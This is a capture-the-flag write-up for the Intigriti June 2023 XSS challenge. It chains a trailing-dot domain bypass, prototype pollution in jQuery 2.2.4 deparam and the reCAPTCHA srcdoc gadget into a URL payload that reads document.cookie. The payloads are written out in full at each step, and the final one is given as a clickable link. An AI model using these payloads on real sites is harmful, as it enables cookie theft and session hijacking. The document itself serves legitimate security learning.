# Intigrity June XSS challenge
## Bugs
### Incomplete domain check
There is a check to find from which domain the user is accessing the site. The intention of the code is that anything besides `localhost` disables `recaptcha`. However if we append a dot to the url (`challenge-0623.intigrity.io.`) we can bypass this check as well.
```javascript
if (document.domain === 'challenge-0623.intigriti.io') {
// This path is not taken
window.recaptcha = false
}
if (document.domain === 'localhost') {
// neither is this path
window.recaptcha = true
}
```
This leaves `window.recaptcha` unset, which we'll be able to abuse in the next step of the exploit.
Since the cookie with the flag is set on the client-side, the extra dot in the domain does not prevent us from leaking the flag.
**Current payload:**
```
https://challenge-0623.intigriti.io./challenge/index.html
?name=test
```
### Prototype pollution in JQuery 2.2.4
The version of JQuery that was used in the challenge is quite old. Thus the first thing I did was google for "JQuery 2.2.4 deparam prototype pollution", which lead me [to this proof of concept][deparam]:
```javascript=
<script src="https://<example>/jquery-2.2.4.js"></script>
<script src="https://<example>/jquery-deparam.js"></script>
<script>
$.deparam(location.search.slice(1))
</script>
```
The provided example input works flawlessly on the challenge site.
```
?__proto__[test]=test
```
**Current payload:**
```
https://challenge-0623.intigriti.io./challenge/index.html
?__proto__[recaptcha]=true
&name=test
```
## Solution
We now have all the bugs we need, we just need to glue them together into a nice XSS payload. For that, we'll have to somehow turn our prototype pollution into an XSS.
### reCAPTCHA as a gadget
I got some great CTF advice recently:
> If a challenge contains something weird and unnecessary, it's probably weird and necessary.
With that in mind, lets dive a bit deeper into the reCAPTCHA code. Why is it even here? As it turns out, Google reCAPTCHA is actually a [known gadget to go from prototype pollution to XSS][reCAPTCHA].
We just need to match the vulnerable example code:
```javascript=
<script src="https://www.google.com/recaptcha/api.js" async defer></script>
<script>
Object.prototype.srcdoc=['<script>alert(1)<\/script>']
</script>
<div class="g-recaptcha" data-sitekey="your-site-key"/>
```
The only piece of the puzzle we're still missing at this point is the "g-recaptcha" `div`, so let's see if we can set that up next.
**Current payload:**
```
https://challenge-0623.intigriti.io./challenge/index.html
?__proto__[recaptcha]=true
&__proto__[srcdoc[]=%3Cscript%20%3Ealert(1)%3C/script%3E
```
### Creating a new div
We need to create a new HTML element. At first sight you might think we need to bypass the `sanitizer` for this, but actually we don't. The sanitizer allows simple HTML, as long as it doesn't directly lead to code execution.
```javascript
modalContent.setHTML(name + " 👋", {sanitizer: new Sanitizer({})}); // no XSS
```
For example, adding bold tags is totally fine: https://challenge-0623.intigriti.io/challenge/index.html?name=%3Cb%3EHans%3C/b%3E. So we can jus create a `div`, and we can even set a `class` attribute. Sadly though, we can not set any custom attributes, like `data-sitekey`.
Nevertheless, our output is starting to look promising:
![](https://hackmd.io/_uploads/BJbgZy0vn.png)
**Current payload:**
```
https://challenge-0623.intigriti.io./challenge/index.html
?__proto__[recaptcha]=true
&__proto__[srcdoc[]=%3Cscript%20%3Ealert(1)%3C/script%3E
&name=%3Cdiv%20class%3d%22g-recaptcha%22/%3E
```
### Tying it all together
All that's left to do now is to get `sitekey` set to some bogus value. We can just use prototype pollution again here. The actual value doesn't matter for triggering the XSS.
**Final payload**
```
https://challenge-0623.intigriti.io./challenge/index.html
?__proto__[recaptcha]=true
&__proto__[sitekey]=lmao
&__proto__[srcdoc[]=%3Cscript%20%3Ealert(document.cookie)%3C/script%3E
&name=%3Cdiv%20class%3d%22g-recaptcha%22/%3E
```
Or as a clickable link: [Click me for the flag!](
https://challenge-0623.intigriti.io./challenge/index.html?__proto__[recaptcha]=true&__proto__[sitekey]=lmao&__proto__[srcdoc][]=%3Cscript%20%3Ealert(document.cookie)%3C/script%3E&name=%3Cdiv%20class%3d%22g-recaptcha%22/%3E)
![](https://hackmd.io/_uploads/ry6kGJRDh.png)
[deparam]: https://github.com/BlackFan/client-side-prototype-pollution/blob/master/pp/jquery-deparam.md]
[recaptcha]: https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/recaptcha.md